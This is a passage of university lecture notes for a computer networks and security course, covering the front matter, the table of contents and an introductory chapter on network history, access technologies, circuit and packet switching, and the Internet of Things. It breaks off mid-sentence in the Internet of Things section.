Lecture Notes:

Computer Networks and Security (2IC60)

T. Ozcelebi and J.I. den Hartog

version 0.39 (2020)

2

Important Notice:

Students can take their own notes, for example, on lecture slide set PDF
documents (available on the course website before each lecture). This document
and references in it marked as required reading (provided at the end of each
chapter) form a supplement to the lectures. They are meant to give more detail
and fill the gaps. In the exam, you are responsible for the lecture content, the
lecture notes (this document) and the required reading. Lecture slides will often
only contain illustrations of main ideas. Further explanation is provided during
the lecture, in the lecture notes and in required reading.
Each chapter of this document provides a literature section that describes
required reading and suggested reading. The required reading is part of the exam
material while the suggested reading is not. The suggested reading is for students
who are interested in background information and/or a different perspective
on or presentation of the material that is useful to help get a better/deeper
understanding of the material. Additional references to related work may be
given inside the text. These provide related materials and/or more in-depth
discussions. Interested students can learn more reading these; but they are
considered to be outside the scope of assessment.

Mandatory reading checklist ( = part of the exam)

• The lecture slides.

• The lecture notes (this document).
• The required reading listed at the end of each chapter.

Optional reading checklist ( = not part of the exam)

• The suggested reading listed at the end of each chapter.

• Additional references inside the main text.

This is the first iteration of these notes; some flaws will be present and
improvement suggestions are welcome. Please report textual mistakes that you
come across to the e-mail address [email protected] and help us improve the
quality.
End of notice.
About this document

This document is meant as supporting material for the lectures in the Computer
Networks and Security (2IC60) course and the referenced reading materials. It is
not meant to be a stand alone document. This document is still work-in-progress.

Thanks
The course material covered in these notes has been developed with contributions
from Elisa Costante, Ricardo Corin, Jeroen Doumen, Sandro Etalle, Pieter Hartel,
Boris Skoric, Nicola Zannone, Igor Radovanovic and Johan Lukkien.
The authors would also like to acknowledge the sources of some of the figures
and exercises in this document:

• Jim Kurose, Keith Ross [20].

• Behrouz Forouzan [17].

3
Contents

1 Introduction 7
1.1 Networks and Computer Networks . . . . . . . . . . . . . . . . . 7
1.1.1 Networks . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
1.1.2 Computer Networks . . . . . . . . . . . . . . . . . . . . . 8
1.2 Push Behind Networks . . . . . . . . . . . . . . . . . . . . . . . . 9
1.2.1 Technological Development . . . . . . . . . . . . . . . . . 9
1.2.2 Industrial Development . . . . . . . . . . . . . . . . . . . 11
1.2.3 Economic and Social Aspects . . . . . . . . . . . . . . . . 12
1.3 Standards and Regulations on Networks . . . . . . . . . . . . . . 13
1.4 Network Physical Infrastructure . . . . . . . . . . . . . . . . . . . 14
1.4.1 End Devices and Access Networks . . . . . . . . . . . . . 16
1.4.2 Network Core . . . . . . . . . . . . . . . . . . . . . . . . . 19
1.5 The Internet: Today . . . . . . . . . . . . . . . . . . . . . . . . . 21
1.6 Internet of Things (IoT): Tomorrow . . . . . . . . . . . . . . . . 22
1.7 Network Security . . . . . . . . . . . . . . . . . . . . . . . . . . 24
1.7.1 Security and Network Security Goals . . . . . . . . . . . . 25
1.7.2 Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
1.7.3 Security Engineering . . . . . . . . . . . . . . . . . . . . . 27
1.8 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
1.8.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
1.9 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 32

2 Network Protocols and Protocol Layers 34

2.1 Network Protocols . . . . . . . . . . . . . . . . . . . . . . . . . . 34
2.2 Protocol Layering . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
2.3 Network Protocol Stacks . . . . . . . . . . . . . . . . . . . . . . . 37
2.3.1 Internet (TCP/IP) Model . . . . . . . . . . . . . . . . . . 38
2.3.2 OSI Reference Model . . . . . . . . . . . . . . . . . . . . . 40
2.4 Services of a Protocol Layer . . . . . . . . . . . . . . . . . . . . . 41
2.5 Performance: Network Delay, Packet Loss and Throughput . . . 42
2.6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.6.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.7 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 44

3 Application Layer 46
3.1 Application Layer Protocol: What is it and what is it not? . . . 46
3.2 Issues Solved by the Application Layer . . . . . . . . . . . . . . . 48
3.2.1 Application Architecture Styles . . . . . . . . . . . . . . . 49

4
CONTENTS 5

3.2.2 Addressing in Application Layer . . . . . . . . . . . . . . 52

3.2.3 Application Layer Services . . . . . . . . . . . . . . . . . . 53
3.3 Layer 4 Services Used by an Application . . . . . . . . . . . . . . 53
3.4 Programming Network Applications . . . . . . . . . . . . . . . . 54
3.5 Example Application Layer Protocols . . . . . . . . . . . . . . . 55
3.5.1 Hypertext Transfer Protocol (HTTP) . . . . . . . . . . . 55
3.5.2 Domain Name System (DNS) . . . . . . . . . . . . . . . . 60
3.5.3 BitTorrent . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
3.5.4 Blockchain . . . . . . . . . . . . . . . . . . . . . . . . . . 64
3.6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
3.6.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
3.7 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 65

4 Transport Layer 67
4.1 Issues Solved by the Transport Layer . . . . . . . . . . . . . . . . 68
4.2 Addressing Processes and Packetization . . . . . . . . . . . . . . 69
4.3 Connection and Connection-less Service . . . . . . . . . . . . . . 70
4.4 Internet’s Layer 4 Protocols: UDP and TCP . . . . . . . . . . . 72
4.4.1 UDP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
4.4.2 TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
4.5 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
4.5.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
4.6 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 82

5 Network Layer 84
5.1 Internetworking . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
5.2 Datagram Networks . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.2.1 Packetization . . . . . . . . . . . . . . . . . . . . . . . . . 86
5.3 Layer 3 Addressing and Subnetting . . . . . . . . . . . . . . . . . 90
5.4 Network Layer Routing . . . . . . . . . . . . . . . . . . . . . . . 93
5.5 Network Layer Connections: Virtual Circuits . . . . . . . . . . . 96
5.6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
5.6.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
5.7 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 97

6 Data Link Layer 100

6.1 One Hop Data Delivery . . . . . . . . . . . . . . . . . . . . . . . 100
6.2 Link Layer Addressing . . . . . . . . . . . . . . . . . . . . . . . . 102
6.3 Switches and Hubs . . . . . . . . . . . . . . . . . . . . . . . . . . 104
6.3.1 Hub . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
6.3.2 Switch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
6.4 Link Layer Error Control . . . . . . . . . . . . . . . . . . . . . . 106
6.4.1 Bit Parity Checking . . . . . . . . . . . . . . . . . . . . . 106
6.4.2 Cyclic Redundancy Check . . . . . . . . . . . . . . . . . . 107
6.5 Media Access Control . . . . . . . . . . . . . . . . . . . . . . . . 108
6.5.1 Channel Partitioning (Channelization) Protocols . . . . . 109
6.5.2 Random Access Protocols . . . . . . . . . . . . . . . . . . 110
6.5.3 Controlled-Access (Taking Turns) Protocols . . . . . . . . 114
6.6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
6.6.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 115
6 CONTENTS

6.7 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 116

7 Authentication and Authorization 118

7.1 Access control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
7.1.1 Access Control Matrix . . . . . . . . . . . . . . . . . . . . 119
7.1.2 Role Based Access Control (RBAC) . . . . . . . . . . . . 120
7.1.3 XACML for Attribute Based Access Control (ABAC) . . 121
7.1.4 Distributed Access Control . . . . . . . . . . . . . . . . . 124
7.2 Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129
7.3 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
7.3.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 134
7.4 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 135

8 Network and Web Security 137

8.1 Network Layers and Corresponding Threats . . . . . . . . . . . . 137
8.1.1 Denial of Service (DoS) . . . . . . . . . . . . . . . . . . . 145
8.2 Application Layer Security . . . . . . . . . . . . . . . . . . . . . . 146
8.2.1 Malware . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
8.3 Defending against network security threats . . . . . . . . . . . . 152
8.4 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156
8.4.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 156
8.5 Homework Exercises . . . . . . . . . . . . . . . . . . . . . . . . . 156

9 Cryptography 158
9.1 Basics and Security Goals of Cryptography . . . . . . . . . . . . 158
9.2 Symmetric Cryptography . . . . . . . . . . . . . . . . . . . . . . 160
9.3 Public Key Cryptography . . . . . . . . . . . . . . . . . . . . . . 165
9.4 Block modes: Encrypting more than one block . . . . . . . . . . 167
9.5 Example Algorithms . . . . . . . . . . . . . . . . . . . . . . . . . 169
9.5.1 Data Encryption Standard (DES) . . . . . . . . . . . . . 169
9.5.2 Advanced Encryption Standard (AES) . . . . . . . . . . . 170
9.5.3 RSA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
9.6 Computational Security . . . . . . . . . . . . . . . . . . . . . . . 173
9.7 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176
9.7.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 176
9.8 Exercises (not graded: exam preparation) . . . . . . . . . . . . . 176

10 Analysis of Security Protocols 179

10.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
10.2 Example Security Protocols . . . . . . . . . . . . . . . . . . . . . 180
10.3 What makes a security protocol tick: Protocol design . . . . . . . 183
10.4 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
10.4.1 Literature . . . . . . . . . . . . . . . . . . . . . . . . . . . 192
10.5 Exercises (not graded: exam preparation) . . . . . . . . . . . . . 192
Chapter 1

Introduction

Document structure
• Chapter 1 provides a general introduction to the concepts of computer
networks and (network) security.
• Chapter 2 explains how protocols govern computer networks and gives
an overview of protocol layering and protocol stacks.
• Chapter 3 introduces application layer concepts and the principles of
networked applications.
• Chapter 4 introduces transport layer services and widely used transport
layer protocols of the Internet.
• Chapter 5 gives an overview of network layer services for end device to
end device data delivery.
• Chapter 6 introduces the data link layer whose task is to transfer data
over a single (wired or wireless) link.
• Chapter 7 discusses key security issues at the network edge; authorization
(what resources can be used at the server side) and authentication (who is
present on the client side).
• Chapter 8 focuses more on the security aspects regarding network core
by looking at threats and corresponding countermeasures at the different
network layers.
• Chapter 9 discusses in detail an essential tool for network security: cryp-
tography.
• Chapter 10 explains how we can analyze the security properties of proto-
cols.

1.1 Networks and Computer Networks

1.1.1 Networks
Before we start our discussion on computer networks, let us take a step back and
discuss what a network in general is. The concept of a network is no stranger

7
8 CHAPTER 1. INTRODUCTION

Figure 1.1: An interconnected configuration of (system) components.

to the common person. It typically refers to an “interconnected” configuration

of individuals. Similarly, the term networking refers to communicating either
with or within a group. Among humans, wherever there is communication, there
is a network. Examples are many, e.g. a network of neighbors (neighborhood
watch), a network of intelligence (spy networks), a network of gossip among close
friends, a news network, a broadcast network, a book club or giant social media
platforms like Facebook, Twitter and Instagram. The history of networks
goes way back; even to the very early periods of the civilization.
The concept of a network is not limited to the human context and it is
well-known to the animal kingdom, to plants and even to bacteria. A good
example, which inspires many modern networks of wireless embedded devices by
the way, is a colony of ants searching for food. Each worker ant has a very simple
behavior, which by itself (without communication and collaboration between
ants) cannot accomplish much. A worker ant’s behavior is leaving a trail of
pheromone wherever it goes and following this trail back in the opposite direction
once it finds food, carrying some of the food back to the nest, making the trail
of pheromone (almost) twice as strong. Without forming a network, this is very
inefficient as each ant needs to find food separately and there is a non-negligible
risk of getting lost. What ants do instead is that they stop their random walk
and join existing trails of pheromone that are relatively stronger as they come
across these, adding their pheromone to make it even stronger. As a result, a lot
of ants make up crowded highways of food traffic. Successful implementation of
such emergent behavior by means of this simple protocol is a matter of life and
death for ants.

“An important observation so far is that very simple network

protocols can result in a collective behavior of impressive complexity.”

More generally, a network is an interconnected set of components as shown

in Figure 1.1.

1.1.2 Computer Networks

Computer networks play a key role in modern society. We define a computer
network from two perspectives: physically (hardware) and logically (software
and data).
1.2. PUSH BEHIND NETWORKS 9

Physically From a physical (hardware) perspective, a computer network is a

hardware infrastructure interconnecting end-devices, where end-devices can be
in one of the many possible forms such as personal computers, personal digital
assistants, smart phones, wireless sensors, wireless actuators (e.g. a Philips Hue
lamp) and smart televisions. End-devices are typically made up of (embedded)
hardware with a Network Interface Card (NIC) and operating systems or basic
middleware.

Logically From a software and data perspective, a computer network is a

system facilitating information exchange between applications that do not share
a physical memory component or memory space.

1.2 Push Behind Networks

We need networks and their services to improve our lives by serving various
applications. There are various motivations for the push behind networks.
These motivations take their roots at technological developments, industrial
developments, economics and other social aspects.

1.2.1 Technological Development

In the 20th century, there were two important (but not very accurate) predictions
about the future market of computers. The first one was by the famous Thomas
Watson, the president of the IBM (International Business Machines) corporation.
In 1943, Thomas Watson said

“I think there is a world market for maybe five computers.”

T. Watson
This view was out there for a long time and 34 years later in 1977 another im-
portant figure Ken Olsen, the president of DEC (Digital Equipment Corporation),
said

“There is no reason for any individual to have a computer in

their home.”
K. Olsen
Gordon E. Moore, the co-founder of Intel, made a more accurate prediction
of what would happen in the future of computer technology. In his article dated
19651 , he made the observation that the number of circuit components on an
integrated circuit doubles every year and he projected that this would continue to
be the case also in the future. Years later, he made a revision to this projection.
In practice, what is widely known as Moore’s law (Moore’s observation may be a
better term by the way) translates to the following and is depicted in Figure 1.2.

Moore’s Law: “The number of transistors that fit in unit area of

an integrated circuit (or, equivalently, the total processing power of
computers) doubles every two years.”

1 Gordon E. Moore, “Cramming more components onto integrated circuits”, April 1965.
10 CHAPTER 1. INTRODUCTION

Figure 1.2: To this day, the number of transistors that fit in an integrated circuit
follows Moore’s law closely. (Figure source: intel.com)
1.2. PUSH BEHIND NETWORKS 11

Figure 1.3: The number of devices connected to the Internet and their types
across years, with a projection until 2018. (Figure source: Cisco)

Moore’s law has an important result. It implies that devices that are just
not capable enough to connect to the Internet due to lack of computational
power will be powerful enough soon. A recent report by Cisco indicates that
we are rapidly moving from the Internet of personal computers to an Internet
of smart phones, tablets and machine-to-machine (M2M) communications. All
projections are towards a future of the Internet that is dominated by data traffic
that does not involve any humans. Figure 1.3 by Cisco shows the profiles of the
devices connected to the Internet with projection until 2018.

1.2.2 Industrial Development

The Internet has started with only 4 hosts in 1969, and only in 1983 the
number of Internet hosts increased to 500. Today, there are more machines
connected to the Internet than there are humans on the planet. Internet usage
is rapidly spreading to all classes of the society, in most countries, especially in
the developed countries. According to the International Telecommunications
Union (ITU), the percentage of Internet users among inhabitants in different
parts of the world is as given in Figure 1.4. The increasing reach to the end user
also means an increase of the Internet technology demand for the industry.
Metcalfe’s law, named after the Ethernet co-inventor Robert Metcalfe, gives
an explanation for the industry boom in and around the Internet technology.

Metcalfe’s Law: “The value, usefulness, or utility of a network

equals the square of the number of users (or connected devices).”
12 CHAPTER 1. INTRODUCTION

Figure 1.4: The total reach of the Internet technology is increasing rapidly, in
parallel with the industry that is associated with it. (Figure source: ITU)

Figure 1.5: Some e-business types and their examples.

1.2.3 Economic and Social Aspects

In parallel with the rapid rise in the Internet usage all around the world, the
e-commerce volume is increasing at a staggering rate. E-businesses can be of
many forms, as exemplified in Figure 1.5.
Figure 1.6 shows the worldwide B2C e-commerce sales volumes with a
projection of 2.4 trillion US dollars in 2018. According to e-commerce news2 ,
the Dutch B2C e-commerce has reached a total volume of 16.5 billion euros
in 2015 (a realistic projection). According to the same article, there were 3.3
million mobile shoppers in the Netherlands in 2015 (an increase of 13 percent in
comparison to the previous year).
Societal demands play an important role in the development of the Internet
and Internet-based services. Services like e-learning (Coursera3 has reached 15
million students), better and cheaper communication (e.g. Whatsapp, Skype),
working from home, second life and entertainment (e.g. gaming, Netflix) are a
few examples. Trends and hypes play an important role. Trying to push new
technology for which the need is not clear or for which there is no real demand
2 http://ecommercenews.eu/ecommerce-in-the-netherlands-expected-to-reach-e16-5bn-in-

2015/
3 Coursera is an Internet platform for massive open online courses. It hosts over a thousand

courses from many universities and serves students all around the world.
1.3. STANDARDS AND REGULATIONS ON NETWORKS 13

Figure 1.6: Worldwide B2C e-commerce sales volumes. The years marked with
a * are projections based on previous data. (Figure source: statista.com)

often does not result in user acceptance. For example, Wireless Application
Protocol (WAP) was advertised with the words “Internet made mobile”, when in
fact it was just a new protocol that did not really have a big impact either socially
or economically. The Multimedia Messaging Service (MMS) was advertised as a
better replacement for Short Message Service (SMS), but it never could really
replace or even come close to SMS. Multimedia integration into text messages
became huge only after services like Whatsapp, for which the convenience factor
is substantial.

1.3 Standards and Regulations on Networks

Metcalfe’s law indicates that the value of a network depends on the size of
community it can reach. The Internet can reach a global community thanks
to standardization. Standardization (of hardware and protocols) is crucial for
device interoperability between different vendors. In this way, there are more
suppliers of devices, leading to more competition between suppliers, which results
in lower prices for the end user. There are three major standardization bodies
for the Internet:

• International Telecommunication Union (ITU)

• Internet Engineering Task Force (IETF)

• Institute of Electrical and Electronic Engineers (IEEE)

The Internet is an important means for communication (also of sensitive

data) and even broadcasting. In the Netherlands, a vast majority of the citizens
have access to high speed (broadband) Internet connection. In some countries,
14 CHAPTER 1. INTRODUCTION

Figure 1.7: Communication network types. (Figure by Igor Radovanovic)

like Finland, citizens legally have a right to broadband Internet. That is, in
these developed countries, high speed access to the Internet is a civil right, just
like getting education and health care. Given this significant penetration into
societies, in every country (some more strict than others), the government wants
to regulate the use and the utilization of the Internet. In doing so, their goals
are many. Government regulations can be, for example, for the sake of:

• fighting digital crimes (e.g. protecting intellectual property, fighting piracy)

• facilitating open market competition (e.g. to eliminate monopoly)

• practicing censorship (in some countries)

On top of these country-wide (or sometimes near-global) regulations, there

can also be local regulations enforced by network administrators (e.g. institution
or company regulations). Most institutions and companies would not allow
Bit-Torrent clients to be used in their networks and they enforce this typically
by monitoring network traffic and detecting “unusual” traffic behaviors. In this
course, we discuss how this can be done in detail.

1.4 Network Physical Infrastructure

A taxonomy of communication networks is given in Figure 1.7.
A computer network infrastructure consists of leaf nodes that are connected to
the network core (a sea of interconnected routers) through access networks
as shown in Figure 1.8.
This section gives an overview of the computer network physical infrastructure
as well as the two basic methods to realize data transfer over the infrastructure:
(virtual) circuit switching and packet switching.
1.4. NETWORK PHYSICAL INFRASTRUCTURE 15

Figure 1.8: The network infrastructure consisting of end devices, access networks
and network core. (Figure by Kurose and Ross)
16 CHAPTER 1. INTRODUCTION

Figure 1.9: Smart spaces are advanced computer networks where the user is in
the center of all, i.e. smart space applications are there to satisfy the user. Many
applications with various characteristics can be realized by devices that surround
the user. These can be provided by individual devices or collaboratively.

1.4.1 End Devices and Access Networks

At the edge of a network there are networked end devices, also called hosts,
where network applications reside. Examples of hosts running networked ap-
plications are clients and servers. In typical computer networks terminology,
a client is the party that initiates a connection while a server is the one that
continuously awaits incoming connections.
The importance and the structural complexity of computer networks are only
growing with new concepts of ‘smart X’. Smart phones ensure people can be
online whenever and wherever. Smart grid infrastructures and smart metering
enable remote monitoring and control over the electricity grid, and similarly
for other critical infrastructures. Other upcoming technologies such as smart
cars and roads make traffic an interconnected moving and evolving network.
Nowadays, there is immense research effort all around the world, especially
in developed countries, on smart spaces, where the idea is that the space
covered by a network of computers and connected embedded systems adapts
its behavior to facilitate the goals of its user(s). There are various sizes and
scopes of smart space implementations such as smart cities, smart buildings and
smart homes, each containing many embedded systems.

Definition 1.4.1.1 Embedded System

An embedded system is a special purpose computer on hardware dedicated to
that purpose. These systems range from very simple sensors to complex machines.

Embedded systems vary in their networking capabilities. The evolution of

embedded systems and their use in networks over the years is illustrated in
Figure 1.10.

• Standalone embedded systems have a standalone functionality and

they do not communicate to other systems.
• Network-aware embedded systems allow access of some (typically
limited) internal functionality from outside. They come with proprietary
(private) network protocols dedicated for this purpose. Simple data retrieval
1.4. NETWORK PHYSICAL INFRASTRUCTURE 17

Figure 1.10: The evolution of embedded networking (Figure by Johan Lukkien).

(sensing, diagnostics) is possible. Software updates over the network are

possible, but typically not straight-forward (expert knowledge is needed).

• Network-connected embedded systems are ‘on-line’ using standard

protocols that are open to the public. Networks of these typically go by the
name “machine-to-machine networks”. An example is a body sensor node
that monitors posture of a person, warns when the posture is not right and
stores the data on a remote server for the access of the physiotherapist.

• Network-central embedded systems have some standalone function

but the design of both hardware and software aim at operation in a
networked context. Examples are with many smart phone apps, television
sets and intelligent lighting (e.g. Philips Hue).

• Fully networked embedded systems do not have a meaningful stan-

dalone function when they are disconnected from the network. These are
mostly cheap devices with elementary behavior. Very low resource devices
are typically fully networked. Examples are with applications of simple
sensing and actuating and elementary computing.

In general, devices can be classified (as of today) as shown in Figure 1.11,

where each row corresponds to a different device class.

Access Networks: An access network connects the network edge to a router

in the network core. These are typically shared networks where multiple end
points can connect to the (rest of the) Internet. Access networks can be of
variety of sorts, e.g. mobile access networks, wireless and wired access networks
for residences, businesses and institutional areas.
For many years, Digital Subscriber Line (DSL) over the household’s
telephone line and Cable Internet access over the household’s cable television
network connection have been the dominating access technologies for homes.
The vast majority of broadband connections in the world are through DSL.
18 CHAPTER 1. INTRODUCTION

Figure 1.11: Device classes based on available resources (Figure by Johan

Lukkien).

DSL gives dedicated connection to the central office (the gateway to the
Internet core) and, therefore, provides dedicated access bandwidth to its individ-
ual customers. On the other hand, cable Internet connection is shared among
neighbors, i.e. more than one household hook up to the cable line, resulting in
bandwidth sharing. Although outside of peak hours cable Internet is typically
faster than DSL, the effective bandwidth per household is likely to drop for cable
Internet during peak hours when a lot of people are online.

DSL Cable FTTH

Transmission Twisted copper wire. Coaxial cable. Fiber optic cable.

medium
Speed HIGH. Especially high HIGH. Higher than VERY HIGH
speed when the dis- DSL outside of peak
tance to the ISP is hours. Distance to
low. Connection is ISP does not change
not shared with other the speed. Since con-
subscribers. Better nection is shared, per-
response to increasing formance drops during
number of online users peak hours.
than cable.
Download Both symmetric and Asymmetric. Down- Asymmetric. Down-
vs Upload asymmetric versions load speed is much load and upload do not
available. higher than upload. share the same channel
Download and upload (i.e. full-duplex). High
share the same channel upload speed neverthe-
(i.e. half-duplex). less.
Infrastructure LOW LOW HIGH
cost

Table 1.1: DSL vs Cable vs FTTH

Recently, Fiber to the Home (FTTH), which requires additional in-

frastructure has finally become affordable for households. FTTH is gaining
momentum with more and more districts getting fiber glass infrastructure in
1.4. NETWORK PHYSICAL INFRASTRUCTURE 19

Figure 1.12: The sea of routers forming the network core (Figure by Kurose &
Ross).

place. A comparison of DSL, cable Internet and FTTH is given in Table 1.1.

1.4.2 Network Core

The network core consists of a sea of interconnected routers that can transfer data
between hosts (clients, servers and peers) as shown in Figure 1.12. It facilitates
data transfer between end-devices connected to different access networks. In
practice, it can do this in two ways: i) (virtual) circuit switching, and ii)
packet switching.

Circuit Switching: This scheme provides a dedicated (virtual) circuit per

call or session. The resources on the links (e.g. link bandwidth, switch capacity)
all the way on the path between the communicating entities are reserved (in
both directions) for a session and these resources are not shared with any other
sessions. That means, via circuit switching, there is an upper limit to the number
of sessions that can be supported over a network. This gives circuit-switched
sessions a guarantee on the session quality (circuit-like performance), just like
the session quality guaranteed by a phone connection, to some degree at least
(e.g. when you are close enough to the nearest cell tower). In order to be able to
give such guarantees, your phone operator will not admit the call if the needed
resources are not free. This is the same reason why it is difficult to make cellular
phone calls at a concert or stadium where there are a lot of active calls using
the same cell tower (we will cover wireless communication later in detail).
In a given session, the amount of resources needed can fluctuate a lot. For
example, parties do not generate audio data continuously during a phone call and
20 CHAPTER 1. INTRODUCTION

Figure 1.13: Resources allocated to four different senders (color coded) in FDM,
TDM and a combination of FDM with TDM.

they pause between sentences and while listening to the other party. Resource
reservation is typically done (by means of a call setup procedure) considering
the maximum amount of resources needed at any given instance during a session.
This in combination with not sharing resources brings the disadvantage that the
resources that are not used by the current session remain idle, which is a waste.
By dividing the network resources among sessions, what circuit switching
does is indeed dividing the network into logical pieces, each of which is accessible
to only one session. But how can we divide a link (e.g. a wire) into logical
pieces? This can be done, for example, using Frequency Division Multiplexing
(FDM), Time Division Multiplexing (TDM), Code Division Multiplexing (CDM)
or a combination of these.
In FDM, a different frequency subband is allocated to every session. Part of
the allocated frequency band is used for receiving (downlink) while the remaining
part is used for sending (uplink). In TDM, a different time slice of a (fixed) time
period is allocated to every session. Resources allocated to different senders in
FDM, TDM and a combination of FDM with TDM is visualized in Figure 1.13.
In CDM, every session uses a signal code which is orthogonal to all the
other codes that are used by other transmitters, such that the multiplication
by the session’s own code will return zero for all transmissions except for the
transmissions of this specific session.

Packet Switching: In packet switching, channel resources are not reserved.

The available network bandwidth is not divided into logical pieces. Data packets
share network resources in a statistically multiplexed manner and a packet
uses the entire link bandwidth when it is put on the link. This is illustrated by
Figure 1.14.
Since resources are used as needed, idling of channel resources is not the case
as opposed to circuit switched networks. However, different packets compete for
channel resources. In case there is too much demand, i.e. too many packets are
sent in a short time (e.g. by many senders), the available bandwidth may not be
sufficient, causing the phenomenon known as network congestion.
In packet switching, packets move one hop (a single link) at a time. This is
known as the store and forward behavior and means that the entire packet
must arrive at the router before it can be transmitted on the next link. It takes
L/R seconds to transmit (push out) packet of size L bits onto a link at a rate of
1.5. THE INTERNET: TODAY 21

Figure 1.14: Statistical multiplexing illustrated. (Figure by Kurose and Ross)

Figure 1.15: Store and forward behavior example with 2 routers between the
sender and the receiver. (Figure by Kurose and Ross)

R bps (bits per second). For the example given in Figure 1.15, the transmission
delay experienced by the packet is 3L/R seconds (i.e. L/R for the transmission
from the source, and 2L/R for the transmissions from the routers).
Packet switching allows more users to use the network at the same time, i.e.
there is no call admission process. This comes at the expense of losing quality
guarantees (see the exercise at the end of the chapter).
As given by the taxonomy of Figure 1.7, it is also possible to realize virtual
circuits using packet switching. The term ‘virtual’ implies that even though
the connection is packet switched (i.e. each packet uses entire channel resources),
the multiplexing of packets can be done in such a way to provide circuit-like
guarantees for selected sessions. We will come back to this topic later.

1.5 The Internet: Today

Given the general definition of a computer network that we provided in Sec-
tion 1.1.2, what is it that makes the Internet unique? We provide here again
two definitions of the Internet; one referring to its physical structure and one
referring to its logical functionality.

Physically The Internet, as the largest computer network of our time, is a

global public network of computer networks. It uses globally accepted (some
even standardized) communication protocols that govern sending and receiving
messages between billions of end-devices and millions of (sub)networks.
22 CHAPTER 1. INTRODUCTION

Figure 1.16: The number of “things” that are connected to the Internet will
be 50 billion by year 2020 according Cisco Internet Business Solutions Group
(IBSG) report. (Figure by Cisco)

Logically The Internet is a global facility that provides communication ser-

vices to network applications, many of which are very well-known such as e-mail,
world-wide web (www), online games, voice over IP (VoIP), Skype, Netflix and
many more. It is a means for data delivery from a source to a destination, where
sources and destinations can be at different abstraction levels (e.g. device versus
process communication).

Just try to think of a world without the Internet. In today’s world, this is
almost unimaginable. Vital services of the government and the business sector
depend on the Internet. Not to mention that most people would be very upset
by its absence, since being “always on(line)” is nowadays crucial to many people.

“Internet addiction disorder (IAD) now more commonly called

problematic Internet use (PIU), compulsive Internet use (CIU) ...
or iDisorder, refers to excessive computer use which interferes with
daily life.”
Wikipedia
There is an ever increasing trend in the number of devices that are connected
to the Internet, as depicted in Figure 1.16.

1.6 Internet of Things (IoT): Tomorrow

Recent developments in the technology of networks, newly introduced protocols
suitable for low capacity devices4 in combination with miniaturization of hardware
make it possible to extend the reach of the Internet to fully networked systems
that can be embedded in the so called “things”. In the Internet of Things (IoT),
machine-to-machine communications (not directly involving any humans) will
be responsible for the vast majority of Internet packet traffic. Hence, the two
factors that separate the IoT from the Internet as we know today are: i) IoT
aims to connect networked embedded systems of all types to the Internet, and
ii) IoT scales to many (>> 1) networked devices (things) per human.
4 Consider device classes A, B, C and D.
1.6. INTERNET OF THINGS (IOT): TOMORROW 23

Figure 1.17: IoT devices and scale. (Figure by Johan Lukkien)

Definition 1.6.0.1 Things

‘Things’ in the context of the IoT are constrained devices, which are connected
to constrained networks (typically deriving from node constraints) but then, united
with ‘regular’ Internet services and broadband networks.

Things and their local networks have the following constraints:

• low memory: static (flash) and dynamic (RAM)

• low processing power: number of instructions per second

• low available energy: often battery powered devices

• low accessibility: devices that go to sleep to save energy (duty cycling)

• low throughput: number of bits communicated per second

• high and fluctuating packet loss rates

• asymmetric links: download capacity is more than upload

• very small packet size: an IP packet may not be delivered in one go.

• limited group communication primitives: addressing multiple devices at

once is difficult.

Physically The IoT is the Internet plus an extension of the Internet into the
physical world surrounding us, which is monitored and affected by things: con-
strained devices with limited memory, processing power, energy and accessibility.
Things are connected through Internet-enabled constrained networks (deriving
from device constraints) but then united with fast networks and regular Internet
services.
24 CHAPTER 1. INTRODUCTION

Figure 1.18: The C-I-A triad and security attributes in a network context.

Logically The IoT stands for the vision of the Internet of tomorrow. It is
a global facility that extends the reach of distributed applications to billions
of resource-poor devices. The IoT brings endless possibilities for innovative
scenarios (e.g. smart homes, smart health care, smart buildings, smart cities),
characterized by the fact that distributed IoT applications consist of collaborating
services running on many distinct devices.

As suggested by this definition, the IoT extends Internet communication to

billions of endpoints and reaches into the physical world, gathering incredible
amounts of data about states and events of processes, objects, people and the
physical environment itself. It enhances coordination and algorithms to use
this knowledge as soon as possible in feedback cycles and new applications,
